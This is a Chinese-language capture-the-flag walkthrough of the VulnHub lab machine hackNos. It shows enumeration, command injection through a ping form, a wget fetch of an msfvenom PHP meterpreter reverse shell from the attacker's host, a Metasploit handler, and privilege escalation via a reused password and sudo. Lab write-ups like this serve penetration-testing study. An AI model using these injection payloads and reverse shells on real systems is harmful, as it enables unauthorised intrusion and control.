更新:2020-01-23,今天查看了一下靶机作者写的walkthrough,关于admin密码的解释如下:
有点意外,不带这么玩的……有可能是靶机版本的问题,因为靶机有时候会更新。
目标资产信息搜集的程度,决定渗透过程的复杂程度。
目标主机信息搜集的深度,决定后渗透权限持续把控。
渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。----Micropoor
难度:简单-中等
靶机发布日期:2020年1月11日
靶机描述:Good Enumeration Skills
Difficulty: Easy to Intermediate
Flag: 2 Flag first user And the second root
Learning: Web Application | Enumeration | Privilege Escalation
Web-site: www.hacknos.com
Contact-us
Twitter: @rahul_gehlaut
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
- nmap
- gobuster
- metasploit
- msfvenom
- burpsuite
- 命令注入
0x00、信息收集
靶机IP:192.168.56.101
nmap -sn 192.168.56.0/24
端口和服务
nmap -sS -T5 -A -p- 192.168.56.101
页面、目录枚举
gobuster dir -u http://192.168.56.101 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,html,.txt,.zip,.tar.gz,.git,.svn
FTP可匿名登录,登录之后发现文件夹里没有任何东西。
网站首页
点击“TroubleShoot”,弹出认证框,Burpsuite抓包之后发现使用的是HTTP的Basic认证。
关于Basic认证的暴力破解方法参考:https://www.hackingarticles.in/multiple-ways-to-exploiting-http-authentication/
vsFTPd 3.0.3,无相关可利用漏洞。
Burpsuite抓包,没发现什么可疑内容。
Wireshark抓取流量包,还是没有发现什么可疑内容。
git信息泄露:使用Githack扫描工具未检测到git信息泄露。
svn信息泄露:使用SvnExploit.py工具未检测到svn信息泄露。
.DS_Store文件泄露:使用ds_store_exp工具未检测到.DS_Store文件泄露。
尝试收集备份文件,无果。
hydra爆破一下SSH,因为没有用户名,所以成功的概率应该不大。
查看网页源代码也没发现什么。
关于信息收集的文章:
到目前为止能想到的就是要么通过某种方法获取到SSH的登录账号和密码,要么是获取到http://192.168.56.101/5ecure/
的登录账号和密码。但沿着这个思路已经不知道怎么继续下去了,然后到Twitter上问了一下,得知The FTP-banner holds password
,见下图:
然后以为Secure@hackNos
就是密码。关于登录账号猜测不是root
就是admin
,试来试去还是没能成功登录。最后得知密码是Security@hackNos
。想了一下应该是"Secure@hackNos"和"Recon Security"组合了一下。
0x01、getshell
登录进入看到Ping_Scan
就想到了命令执行
ip=127.0.0.1&&ls&Submit=Ping_Scan
# 只有Ping结果ip=127.0.0.1|ls&Submit=Ping_Scan
# 列出了当前目录的文件
直接读取一下out.php
的内容,可能过滤规则就在这个文件里面,luck boy!!!
这里直接通过wget下载我们的shell.php到靶机上,然后检查了一下,发现确实下载了。
ifconfig命令查看kali的IP
msfvenom生成webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=1234 R > shell.php
!!!
注意:使用时需要去掉最开头的两个字符/*
,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell.
msfvenom默认是无法自动补全的,网上有相关的教程,有需要可自行搜索
ip=127.0.0.1|wget http://192.168.56.102/shell.php&Submit=Ping_Scan
msfconsole做好接收反弹的shell的准备
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.56.102
set lport 1234
run
浏览器访问shell.php(http://192.168.56.101/5ecure/shell.php)触发反弹shell的代码。
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。
python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c
如果你想使用clear
清屏,那么只需要给TERM这个环境变量赋值screen即可
export TERM=screen # 赋值xterm也可以
0x02、权限提升
--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------
先拿到user的flag
又是docker提权吗?
SUID权限可执行文件,没有可用的
find / -perm -u=s -type f 2>/dev/null
常见的SUID提权可执行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
查找sudo权限命令,需要密码。
sudo -l
查看计划任务,无。
cat /etc/crontab
[猫猫灵机一动]这里猜测了一下之前获取的Security@hackNos
会不会也是recon
用户的密码,结果还真是。倒是跟“撞库”的思路一模一样。这里千万不要觉得不可思议或者说瞧不起这种操作。如果你真的有这种想法,那么只需要问自己一个问题,“我有多少个账号的密码是一样的”,就可以了。
sudo -l
发现可以执行任意用户权限的任意命令……
recon用户属于docker用户组,所以用docker提权应该也可以。这里就不写了,同系列的上一篇『VulnHub系列』hackNos: Os-hackNos-3-Walkthrough就是用docker进行提权,可以参考一下。
0x03、关于admin的密码
我这只能说,这是直觉……
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。扫描下方微信二维码与我交流。我是ins1ght.